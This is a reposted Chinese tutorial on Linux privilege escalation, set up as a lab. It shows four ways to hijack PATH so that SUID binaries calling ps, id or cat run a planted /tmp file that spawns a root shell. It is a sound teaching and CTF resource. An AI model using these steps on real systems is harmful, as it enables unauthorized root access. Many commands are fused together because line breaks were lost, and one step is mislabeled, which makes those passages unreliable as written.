0
  • 聊天消息
  • 系统消息
  • 评论与回复
登录后你可以
  • 下载海量资料
  • 学习在线课程
  • 观看技术视频
  • 写文章/发帖/加入社区
会员中心
创作中心

完善资料让更多小伙伴认识你,还能领取20积分哦,立即完善>

3天内不再提示

如何使用环境变量进行Linux提权的方法详细资料概述

马哥Linux运维 来源:未知 作者:易水寒 2018-07-05 09:50 次阅读
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

在这篇文章中,我将会为大家介绍一些使用环境变量进行Linux提权的方法,包括在CTF challenges中使用到一些的技术。话不多说,让我们进入正题!

介绍

PATH是Linux和类Unix操作系统中的环境变量,它指定存储可执行程序的所有bin和sbin目录。当用户在终端上执行任何命令时,它会通过PATH变量来响应用户执行的命令,并向shell发送请求以搜索可执行文件。超级用户通常还具有/sbin和/usr/sbin条目,以便于系统管理命令的执行。

使用echo命令显示当前PATH环境变量:

echo $PATH

/usr/local/bin:/usr/bin:/bin:/usr/local/games:/usr/games

如果你在PATH变量中看到‘.’,则意味着登录用户可以从当前目录执行二进制文件/脚本,这对于攻击者而言也是一个提权的绝好机会。这里之所以没有指定程序的完整路径,往往是因为编写程序时的疏忽造成的。

方法1

Ubuntu LAB SET_UP

当前,我们位于/home/raj目录,我们将在其中创建一个名为/script的新目录。在script目录下,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

如何使用环境变量进行Linux提权的方法详细资料概述

正如你在demo.c文件中看到的,我们正在调用ps命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shellchmod u+s shellls -la shell

受害者VM机器

假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。

find / -perm -u=s -type f 2>/dev/null

通过上述命令,攻击者可以枚举出目标系统上所有的可执行文件,这里可以看到/home/raj/script/shell具有SUID权限。

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell”文件,我们运行这个文件。

/home/raj/script

Echo命令

cd /tmpecho “/bin/sh” > pschmod 777 psecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shellwhoami

Copy命令

cd /home/raj/script/cp /bin/sh /tmp/psecho $PATHexport PATH=/tmp:$PATH./shellwhoami

Symlink命令

ln -s /bin/sh psexport PATH=.:$PATH./shellidwhoami

注意:符号链接也叫软链接,如果目录具有完全权限,则它将成功运行。在Ubuntu中symlink情况下,我们已经赋予了/script目录777的权限。

因此,攻击者可以操纵环境变量PATH来进行提权,并获得root访问权限。

方法2

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境,现在在脚本目录中,我们将编写一个小型的c程序来调用系统二进制文件的函数。

pwdmkdir scriptcd /scriptnano demo.c

正如你在demo.c文件中看到的,我们正在调用id命令。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o shell2chmod u+s shell2ls -la shell2

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段。我们通过ssh成功登录到了受害者的机器。然后使用Find命令,搜索具有SUID或4000权限的文件。在这里,我们可以看到/home/raj/script/shell2具有SUID权限。

find / -perm -u=s -type f 2>/dev/null

进入到/home/raj/script目录,可以看到该目录下有一个可执行的“shell2”文件,我们运行这个文件。

cd /home/raj/scriptls./shell2

Echo命令

cd /tmpecho “/bin/sh” > idchmod 777 idecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./shell2whoami

方法3

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令从etc/passwd文件中读取内容。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o rajchmod u+s rajls -la raj

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表。

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/raj具有SUID权限,进入到home/raj/script/目录,可以看到该目录下有一个可执行的“raj”文件。所以当我们运行这个文件时,它会把etc/passwd文件作为输出结果。

cd /home/raj/script/ls./raj

Nano**编辑器**

cd /tmpnano cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./rajwhoami

方法4

Ubuntu LAB SET_UP

重复上述步骤配置你的实验环境。正如你在demo.c文件中看到的,我们正在调用cat命令读取/home/raj中的msg.txt中的内容,但/home/raj中并没有这样的文件。

然后使用gcc编译demo.c文件,并提升编译文件的SUID权限。

lsgcc demo.c -o ignitechmod u+s ignitels -la ignite

受害者VM机器

同样,假设我们已经成功渗透目标,并进入提权阶段,通过执行以下命令查看sudo用户列表

find / -perm -u=s -type f 2>/dev/null

在这里,我们可以看到/home/raj/script/ignite具有SUID权限,进入到/home/raj/script目录,可以看到该目录下有一个可执行的“ignite”文件。所以当我们运行这个文件时,它会报错“cat: /home/raj/msg.txt”文件或目录不存在。

cd /home/raj/scriptls./ignite

Vi编辑器

cd /tmpvi cat

现在,当终端打开时输入/bin/bash并保存。

chmod 777 catls -al catecho $PATHexport PATH=/tmp:$PATHcd /home/raj/script./ignitewhoami

如何使用环境变量进行Linux提权的方法详细资料概述

声明:本文内容及配图由入驻作者撰写或者入驻合作网站授权转载。文章观点仅代表作者本人,不代表电子发烧友网立场。文章及其配图仅供工程师学习之用,如有内容侵权或者其他违规问题,请联系本站处理。 举报投诉
  • Linux
    +关注

    关注

    88

    文章

    11628

    浏览量

    217986
  • UNIX
    +关注

    关注

    0

    文章

    296

    浏览量

    42877
  • ECHO
    +关注

    关注

    1

    文章

    73

    浏览量

    28154

原文标题:黑客的Linux神技能:使用环境变量进行提权

文章出处:【微信号:magedu-Linux,微信公众号:马哥Linux运维】欢迎添加关注!文章转载请注明出处。

收藏 人收藏
加入交流群
微信小助手二维码

扫码添加小助手

加入工程师交流群

    评论

    相关推荐
    热点推荐

    ESP32-S3 工具链+环境配置的最终步骤清单

    )。 脚本会自动下载 ESP32-S3 对应的 Xtensa LX7 工具链(包含 xtensa-esp32s3-elf),等待安装完成(无需额外操作)。 步骤2:加载环境变量(每次新终端需执行) 在同一
    发表于 11-26 07:36

    Linux系统下各种工具链无法找到的解决方法

    工具链时,都要输入一次source/etc/profile使环境变量重新添加。 除了gcc以外,openocd同样需要按上述方法添加,否则可能在hello world示例最后一步遇到下述情况(同样因为openocd工具未能调用而失败) 添加路径后所有关于工具链未找到的问
    发表于 10-27 07:49

    WIN10配置Hbird-SDK环境变量

    按照胡老师的《RISC-V CPU下工程与实践》的7.4的151和152页配置Hbird-SDK的环境变量,出现了问题。 问题如下: 首先创建setup_config.bat,之后CMD中运行
    发表于 10-27 06:38

    Window下AICube使用前如何配置dotnet环境

    使用AICube进行模型转换的时候都会报错“RuntimeError: Failed to initialize hostfxr”错误,这个错误就表明dotnet sdk没有安装好,或者环境变量添加
    发表于 08-04 06:19

    Linux基础命令which详解

    Linux系统中,which命令用于查找并显示指定命令的可执行文件路径。这对于系统管理员和开发人员来说是一个非常有用的工具,可以帮助定位命令所在的位置,确认命令是否已正确安装,并且能够用于配置环境变量等任务。下面是华纳云对which命令的
    的头像 发表于 07-29 17:58 591次阅读

    飞凌嵌入式ElfBoard ELF 1板卡-uboot移植之三秒等待的修改

    ;gt; saveenv也可以在include/configs/mx6ullevk.h中将bootdelay设置为默认环境变量,并设置其值。如果不设置bootdelay环境变量,我们也可以在代码中进行
    发表于 06-05 10:49

    迅为RK3588开发板RKLLM-Toolkit 环境搭建安装 Miniconda

    Linux-aarch64 64-bit 两个版本的安装包进行下载,如下图所示: 为了方便,已经将两个安装包存放到了“iTOP-3588 开发板\\\\02_【iTOP-RK3588 开发板】 开发资料
    发表于 06-03 17:06

    飞凌嵌入式ElfBoard ELF 1板卡-uboot常用命令之环境变量命令

    、bootargsbootargs是一个重要的环境变量,主要是给内核传递参数,整个环境变量都是围绕着bootargs来设置的。bootargs非常的灵活,内核和文件系统的不同搭配就会有不同的设置方法。下面
    发表于 05-22 11:28

    飞凌嵌入式ElfBoard ELF 1板卡-Uboot常用命令之查看命令

    查看使用说明:=>help setenv这里可以看到setenv命令有两种用法,一种是设置环境变量值,一种是删除环境变量,具体使用方法在下一节中详细说明。
    发表于 05-22 11:26

    SV601187的详细资料合集包括了电路图,原理图和介绍等详细资料概述

    纯分享贴,有需要可以直接下载附件获取完整资料! (如果内容有帮助可以关注、点赞、评论支持一下哦~)
    发表于 04-02 14:18

    从零开始驯服Linux(一):ZYNQ-Linux启动文件构建全解析

    /environment-setup-cortexa9t2hf-neon-xilinx-linux-gnueabi”以设置相应的环境变量,其中的“.”和source具有相同含义。 1.3拷贝源码到Ubuntu系统拷贝u-boot源码开发板出厂镜像
    发表于 03-20 16:48

    stm32mp135使用官方SDK交叉编译工具链,编译的时候却找不到头文件怎么解决?

    环境变量, echo $ARCHarm echo $CROSS_COMPILEarm-ostl-linux-gnueabi- echo $CCarm-ostl-linux
    发表于 03-10 07:44

    L298N-驱动直流电机和步进电机的详细资料大总结

    电机转速控制电路(PWM信号)主要采用 L298N ,通过单片机的 I/O 输入改变芯片控制端的电平,即可以对电机 进行正反转,停止的操作,输入引脚与输出引脚的逻辑关系图为驱动直流电机和步进电机的详细资料可下载PDF文档![hide] [/hide]
    发表于 02-26 16:02

    嵌入式学习-飞凌嵌入式ElfBoard ELF 1板卡-内核编译之初次编译

    编译脚本进行全部编译就不太合适了,就需要更改此脚本或者单步编译。设置交叉编译环境注意:设置环境变量之后,只要不更换终端,下次再编译就不需要重新设置。如果重新打开新终端或者切换账户,编译前需要重新
    发表于 12-18 08:55

    飞凌嵌入式ElfBoard ELF 1板卡-内核编译之初次编译

    编译脚本进行全部编译就不太合适了,就需要更改此脚本或者单步编译。设置交叉编译环境注意:设置环境变量之后,只要不更换终端,下次再编译就不需要重新设置。如果重新打开新终端或者切换账户,编译前需要重新
    发表于 12-17 09:34